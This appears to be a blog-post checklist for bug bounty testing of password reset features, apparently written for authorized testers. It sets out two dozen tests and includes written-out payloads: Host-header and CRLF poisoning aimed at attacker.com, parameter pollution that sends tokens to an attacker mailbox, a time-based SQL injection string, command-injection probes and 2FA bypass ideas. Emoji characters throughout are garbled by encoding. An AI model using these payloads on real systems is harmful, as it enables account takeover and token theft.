October 20, 2026
How I Audit a Password Reset Feature: The Complete Bug Bounty Checklist
A structured guide to turning a simple βforgot passwordβ into a vulnerability hunting ground.

By ATTER Koffi Kallern
4 min read
The password reset feature is one of the most underestimated attack surfaces in a web application. It touches authentication, email delivery, token generation, and often shaky business logic. The result: it's a prime playground for account takeover.
In this article, I consolidate into a clear methodology the full set of tests I run on a "forgot password" flow. The goal: forget nothing, and above all know in what order to test.
πΊοΈ Step 0 β Map the flow
Before touching anything, I document the path precisely:
- Reset request (endpoint, method, content-type, parameters)
- Receipt of the email / token / OTP
- New password submission page
- Confirmation and possible token expiration
Each step is a potential entry point. I keep Burp open in interception mode and note every parameter, even those that seem useless.
π― Priority 1 β Account Takeover
This is where the high-impact vulnerabilities live. I always start with these tests.
1. Password Reset Poisoning
I manipulate the Host header (or X-Forwarded-Host, Forwarded, etc.) during the reset request. If the application builds the reset link from this header, the link sent to the victim will point to my domain, exposing the token.
POST /forgot-password HTTP/1.1 Host: attacker.com
Verification: trigger a reset for a controlled address and observe the link received. If it points to attacker.com, it's a win.
2. HTTP Parameter Pollution (HPP)
The goal: send two email addresses and see which one receives the token. If the token goes to the attacker but is valid for the victim β takeover.
email=victim@gmail.com&email=attacker@gmail.com email[]=victim@gmail.com&email[]=attacker@gmail.com email=victim@gmail.com%20email=attacker@gmail.com email=victim@gmail.com|email=attacker@gmail.com {"email":"victim@gmail.com","email":"attacker@gmail.com"} {"email":["victim@gmail.com","attacker@gmail.com"]}
Verification: check the attacker's inbox and try to use the received link to reset the victim's account.
3. URL injection / parsing confusion
URL parsers are often inconsistent. I test these variants:
POST https://attacker.com/resetpassword.php HTTP/1.1 POST @attacker.com/resetpassword.php HTTP/1.1 POST :@attacker.com/resetpassword.php HTTP/1.1 POST /resetpassword.php@attacker.com HTTP/1.1
The idea is to cause confusion between userinfo, host, and path in the generated link.
4. CRLF Injection /resetpassword?%0d%0aHost:%20attacker.com
Header injection via carriage return/line feed to poison the reset link's host.
5. Username collision (CVE-2020β7245 β CTFd)
A classic that's too often forgotten: I register with a username identical to the victim's, but with leading/trailing spaces ("tuhin1729 ", " tuhin1729 "). I trigger a reset on my account, then use the token to reset the victim's password.
This type of flaw really existed on CTFd β all the more reason to systematically test identifier normalization.
π Priority 2 β Tokens and sessions
6. Broken Crypto β token predictability
I try to guess how the token is generated:
- Timestamp?
- Email hash?
- Sequential ID?
- Weak PRNG / lack of entropy?
If I can predict another user's token, it's a takeover.
7. Non-expiring token
I request two successive reset links and verify that the old one is invalidated. A reusable token = a flaw.
8. Session/Token still valid after reset
After a successful password change, the token (or session) must be invalidated. I verify it can't be replayed.
9. Token leakage via the Referer header
I open the reset link, then click on any external link present on the page. If the token appears in the Referer sent to the third-party site β leak.
10. Leakage in the response / JS files
I search for the token in:
- the response body of the reset request,
- the loaded JavaScript files,
- exposed logs or debug endpoints.
𧨠Priority 3 β Input handling
11. IDOR on the reset link
On the new password submission, I use paramminer to discover hidden parameters, or I add known parameters (e.g. uid spotted elsewhere in the profile). Goal: reset another user's password.
12. SQL Injection test@test.com'+(select*from(select(sleep(2)))a)+'
Time-based injection in the email field.
13. XXE
If the reset request accepts XML, I try external entities.
14. Command injection
email=hello@whoami.xyz.burpcollaborator.net
Shell metacharacters in the local part of the address β some systems pass the email to a system binary.
15. XSS / SSTI / HTMLi
Injection in the email field: if the value is reflected in the outgoing email template, I test HTMLi (and the client-side mail XSS potential), SSTI, or even XSS.
16. Null bytes
I append %00 / \x00 after the email to try to bypass filters or cause truncation.
17. Method / content-type fuzzing
Switch from GETtoPOST, from application/jsontox-www-form-urlencoded`β¦ and observe behavioral differences. Inconsistent handling often reveals a flaw.
18. Homograph email
I register with an email address using homograph characters (e.g. Cyrillic), then trigger a reset to observe the behavior.
π‘οΈ Priority 4 β Business logic and abuse
19. Weak password policy
I try a password made up only of spaces. If accepted, it's an exploitable weakness.
20. Missing rate limiting
No limit on triggering reset emails β email bombing and easier enumeration.
21. User enumeration
Differences in responses, HTTP status codes, or response times between existing and non-existing accounts.
22. Application-level DoS
Very long password β abnormal response time or 5xx error.
23. OTP β 2FA bypass
If the reset goes through an OTP, I apply classic 2FA bypass techniques: reuse, response manipulation, no attempt limit, etc.
24. 2FA automatically disabled after reset
I check whether the second factor drops after a reset β a discreet but critical vector.
β Recap β Recommended test order
- Map the full flow.
- Poisoning / URL injection / CRLF β maximum impact, test first.
- HPP β check the attacker's inbox.
- IDOR / tampering at submission.
- Entropy, expiration, reuse of tokens.
- Leakage (Referer, JS, response).
- Input handling (SQLi, null bytes, Cmdi, XXE, XSS).
- Logic & abuse (policy, DoS, 2FA, enumeration, rate limit).
π‘ Conclusion
A poorly audited password reset feature can seem harmless until the day it offers a full account takeover. The key isn't just the list of tests, but their sequencing: start with the highest impact, document every inconsistent behavior, and always verify "where the token goes."
Keep this checklist handy, adapt it to each target, and never forget: **the devil is in the business logic.
π References
- https://twitter.com/tuhin1729_/status/1437471718142976007
- https://speakerdeck.com/tuhin1729/account-takeover-via-exploiting-misconfigured-password-reset-feature
- https://speakerdeck.com/tuhin1729/abusing-password-reset-functionality
This article is published for educational purposes and authorized penetration testing. Never test systems without explicit authorization.